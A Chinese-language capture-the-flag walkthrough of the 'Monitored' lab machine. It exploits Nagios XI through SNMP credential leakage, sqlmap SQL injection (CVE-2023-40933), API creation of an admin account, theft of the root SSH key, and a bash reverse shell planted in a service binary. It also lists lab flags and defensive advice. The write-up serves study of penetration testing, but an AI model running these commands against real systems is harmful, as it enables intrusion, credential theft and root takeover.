[Meachines][Medium]Monitored
字数 1015 2025-08-19 12:42:09
Nagios XI 渗透测试实战教学文档
1. 目标识别与信息收集
1.1 初始扫描
使用Nmap进行端口扫描:
nmap -p- -sC -sV 10.10.11.248 --min-rate 1000
将目标主机名添加到/etc/hosts:
echo "10.10.11.248 nagios.monitored.htb" >> /etc/hosts
1.2 SNMP信息收集
进行SNMP扫描:
nmap -sU -sC -sV 10.10.11.248 --min-rate 1000
使用snmpwalk获取信息:
snmpwalk -v2c -c public nagios.monitored.htb
从SNMP结果中获取到登录凭据:
用户名: svc
密码: XjH7VCehowpR1xZB
2. 认证与API利用
2.1 获取API Token
使用获取的凭据通过API认证:
curl -X POST -k -L -d 'username=svc&password=XjH7VCehowpR1xZB' https://nagios.monitored.htb/nagiosxi/api/v1/authenticate/
2.2 SQL注入漏洞利用(CVE-2023-40933)
使用sqlmap进行SQL注入攻击:
- 枚举数据库:
sqlmap -u "https://nagios.monitored.htb//nagiosxi/admin/banner_message-ajaxhelper.php?action=acknowledge_banner_message&id=3&token=`curl -ksX POST https://nagios.monitored.htb/nagiosxi/api/v1/authenticate -d "username=svc&password=XjH7VCehowpR1xZB&valid_min=500" | awk -F'"' '{print$12}'`" --level 5 --risk 3 -p id --batch --dbs
- 枚举表:
sqlmap -u "https://nagios.monitored.htb//nagiosxi/admin/banner_message-ajaxhelper.php?action=acknowledge_banner_message&id=3&token=`curl -ksX POST https://nagios.monitored.htb/nagiosxi/api/v1/authenticate -d "username=svc&password=XjH7VCehowpR1xZB&valid_min=500" | awk -F'"' '{print$12}'`" --level 5 --risk 3 -p id --batch -D nagiosxi --tables
- 转储用户表数据:
sqlmap -u "https://nagios.monitored.htb//nagiosxi/admin/banner_message-ajaxhelper.php?action=acknowledge_banner_message&id=3&token=`curl -ksX POST https://nagios.monitored.htb/nagiosxi/api/v1/authenticate -d "username=svc&password=XjH7VCehowpR1xZB&valid_min=500" | awk -F'"' '{print$12}'`" --level 5 --risk 3 -p id --batch -D nagiosxi -T xi_users --dump
2.3 创建管理员用户
使用获取的API Key创建新管理员用户:
curl -XPOST 'https://nagios.monitored.htb/nagiosxi/api/v1/system/user?apikey=IudGPHd9pEKiee9MkJ7ggPD89q3YndctnPeRQOmS2PQ7QIrbJEomFVG6Eut9CHLL&pretty=1' -d 'username=s-h4ck13&password=maptnh&email=maptnh@maptnh.com&name=mapth&auth_level=admin' -k
使用新创建的用户登录后台:
URL: https://nagios.monitored.htb/nagiosxi/login.php
用户名: s-h4ck13
密码: maptnh
3. 权限提升方法
3.1 获取用户标志
cat /home/nagios/user.txt
输出:
39ea0ded58be8ba1cf84a3f332e5757e
3.2 方法一:通过日志文件获取root私钥
- 检查sudo权限:
sudo -l
- 分析getprofile.sh脚本:
cat /usr/local/nagiosxi/scripts/components/getprofile.sh
- 修改nagios.cfg配置文件:
vi /usr/local/nagios/etc/nagios.cfg
将:
log_file=/usr/local/nagios/var/nagios.log
修改为:
log_file=/root/.ssh/id_rsa
- 执行getprofile.sh:
sudo /usr/local/nagiosxi/scripts/components/getprofile.sh 1
- 启动HTTP服务器传输文件:
cd /usr/local/nagiosxi/var/components
python -m http.server 7890
- 在攻击机上下载并解压:
wget http://10.10.11.248:7890/profile.zip
unzip profile.zip
- 使用获取的私钥登录root:
cd profile-1714316974/nagios-logs
mv nagios.txt id_rsa
chmod 400 id_rsa
ssh -i id_rsa root@10.10.11.248
获取root标志:
4c45fe55bd0f2f1364c07760c92af9d8
3.3 方法二:通过服务劫持获取root权限
- 分析manage_services.sh脚本:
cat /usr/local/nagiosxi/scripts/manage_services.sh
- 检查npcd服务状态:
systemctl status npcd
- 停止npcd服务:
sudo ./manage_services.sh stop npcd
- 删除并替换npcd可执行文件:
rm /usr/local/nagios/bin/npcd
vi /usr/local/nagios/bin/npcd
添加反弹shell代码:
#!/bin/bash
bash -i >& /dev/tcp/10.10.16.23/10034 0>&1
设置可执行权限:
chmod +x /usr/local/nagios/bin/npcd
- 方法2-1:直接启动服务获取shell
sudo ./manage_services.sh start npcd
- 方法2-2:通过getprofile.sh间接触发
sudo /usr/local/nagiosxi/scripts/components/getprofile.sh 1
两种方法均可获取root权限,root标志为:
4c45fe55bd0f2f1364c07760c92af9d8
4. 关键知识点总结
-
SNMP信息泄露:通过SNMP协议可以获取系统敏感信息,包括用户凭据
-
API滥用:Nagios XI的API接口可能被滥用创建管理员账户
-
SQL注入漏洞(CVE-2023-40933):banner_message-ajaxhelper.php文件存在SQL注入漏洞
-
日志文件劫持:通过修改日志文件路径可以读取系统敏感文件
-
服务劫持:对具有高权限的服务可执行文件进行替换可实现权限提升
-
权限维持:通过创建管理员账户和获取root私钥可以实现持久化访问
5. 防御建议
- 限制SNMP访问,使用强社区字符串或升级到SNMPv3
- 及时更新Nagios XI系统,修复已知漏洞
- 实施最小权限原则,限制服务账户权限
- 监控关键配置文件修改
- 对API访问实施严格的认证和授权控制
- 定期审计系统权限和可执行文件完整性